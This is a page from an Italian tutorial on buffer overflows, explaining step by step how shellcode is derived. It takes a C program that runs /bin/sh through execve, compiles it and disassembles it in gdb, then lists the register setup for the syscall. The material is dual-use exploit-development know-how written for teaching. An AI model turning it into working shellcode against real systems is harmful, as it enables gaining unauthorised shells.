next up previous contents index
Next: Un'uscita ``pulita'' Up: Buffer Overflow Previous: L'exploit   Indice   Indice analitico


Lo Shellcode

In precedenza abbiamo utilizzato una stringa particolare, formata quasi completamente da codice esadecimale, inserita all'interno del buffer che si voleva mandare in overflow. Tale stringa ci permetteva di ottenere una shell inserendo quindi nel programma anche le istruzioni necessarie all'esecuzione del processo shell. Ora ci soffermeremo sui metodi utilizzati per ottenere tale stringa, infatti benché i metodi rimangano pressoché gli stessi, non è affatto detto che tale stringa funzioni su tutti i sistemi anzi, in generale, non sarà affatto così. Scrivere codice in esadecimale non è certamente una cosa facile da farsi quindi ci accontenteremo di scriverlo in C, per poi epurarlo e trasformarlo in codice esadecimale.

Il codice che ci permette di eseguire una Shell in C è questo:

1 #include <stdio.h>
2
3 void main()
4 {
5     char *array[2];
6     array[0] = "/bin/sh";
7     array[1] = NULL;
8     execve(array[0], array, NULL);
9 }

Tale codice dovrebbe essere compilato in questo modo:

gcc -o shellcode -ggdb -static shellcode.c

in modo da poter utilizzare nella maniera migliore il GDB. L'opzione static è utilizzata per includere anche il codice dalla funzione execve che altrimenti sarebbe linkata dinamicamente. Ed ora diamoci sotto col GDB:

$ gdb -quiet shellcode

1 (gdb) disassemble main
2 Dump of assembler code for function main:
3 0x80481e0 <main>:       push   %ebp
4 0x80481e1 <main+1>:     mov    %esp,%ebp
5 0x80481e3 <main+3>:     sub    $0x8,%esp
6 0x80481e6 <main+6>:     movl   $0x808cec8,0xfffffff8(%ebp)
7 0x80481ed <main+13>:    movl   $0x0,0xfffffffc(%ebp)
8 0x80481f4 <main+20>:    sub    $0x4,%esp
9 0x80481f7 <main+23>:    push   $0x0
10 0x80481f9 <main+25>:    lea    0xfffffff8(%ebp),%eax
11 0x80481fc <main+28>:    push   %eax
12 0x80481fd <main+29>:    pushl  0xfffffff8(%ebp)
13 0x8048200 <main+32>:    call   0x804cb40 <execve>
14 0x8048205 <main+37>:    add    $0x10,%esp
15 0x8048208 <main+40>:    leave
16 0x8048209 <main+41>:    ret
17 End of assembler dump.

Alla chiamata della funzione execve ed al salvataggio del nuovo Frame Pointer la situazione dello stack sarà dunque quella rappresentata in Fig. [*]

Figura: Configurazione dello stack all'inizio di excve
Image stack3

Disassembliamo dunque excve:

(gdb) disassemble execve
Dump of assembler code for function execve:
1 0x804cb40 <execve>:     push   %ebp
2 0x804cb41 <execve+1>:   mov    $0x0,%eax
3 0x804cb46 <execve+6>:   mov    %esp,%ebp
4 0x804cb48 <execve+8>:   test   %eax,%eax
5 0x804cb4a <execve+10>:  push   %edi
6 0x804cb4b <execve+11>:  push   %ebx
7 0x804cb4c <execve+12>:  mov    0x8(%ebp),%edi
8 0x804cb4f <execve+15>:  je     0x804cb56 <execve+22>
9 0x804cb51 <execve+17>:  call   0x0
10 0x804cb56 <execve+22>:  mov    0xc(%ebp),%ecx
11 0x804cb59 <execve+25>:  mov    0x10(%ebp),%edx
12 0x804cb5c <execve+28>:  push   %ebx
13 0x804cb5d <execve+29>:  mov    %edi,%ebx
14 0x804cb5f <execve+31>:  mov    $0xb,%eax
15 0x804cb64 <execve+36>:  int    $0x80
16 0x804cb66 <execve+38>:  pop    %ebx
17 0x804cb67 <execve+39>:  mov    %eax,%ebx
18 0x804cb69 <execve+41>:  cmp    $0xfffff000,%ebx
19 0x804cb6f <execve+47>:  jbe    0x804cb7f <execve+63>
20 0x804cb71 <execve+49>:  neg    %ebx
21 0x804cb73 <execve+51>:  call   0x8048498 <__errno_location>
22 0x804cb78 <execve+56>:  mov    %ebx,(%eax)
23 0x804cb7a <execve+58>:  mov    $0xffffffff,%ebx
24 0x804cb7f <execve+63>:  mov    %ebx,%eax
25 0x804cb81 <execve+65>:  pop    %ebx
26 0x804cb82 <execve+66>:  pop    %edi
27 0x804cb83 <execve+67>:  pop    %ebp
28 0x804cb84 <execve+68>:  ret
29 0x804cb85 <execve+69>:  lea    0x0(%esi),%esi
End of assembler dump.

Del seguente codice ci interessa praticamente solo quello che avviene fino al passaggio al kernel mode tramite l'istruzione presente alla riga 15. Fondamentalmente viene solo effettuata la copia di alcuni valori e parametri in alcuni registri:

Poiché a noi interessano solo le istruzioni di copiatura non importa in quale ordine esse vengano effettuate31.2 possiamo elencare ora le istruzioni fondamentali per la chiamata excve

  1. Copia di 0xb in %eax;
  2. Copia dell'indirizzo della stringa in %ebx;
  3. Copia dell'indirizzo dell'array in %ecx;
  4. Copia di 0x0 (NULL) in %edx;
  5. Passaggio in kernel mode.



Subsections
next up previous contents index
Next: Un'uscita ``pulita'' Up: Buffer Overflow Previous: L'exploit   Indice   Indice analitico
blacksheep & 2006-11-22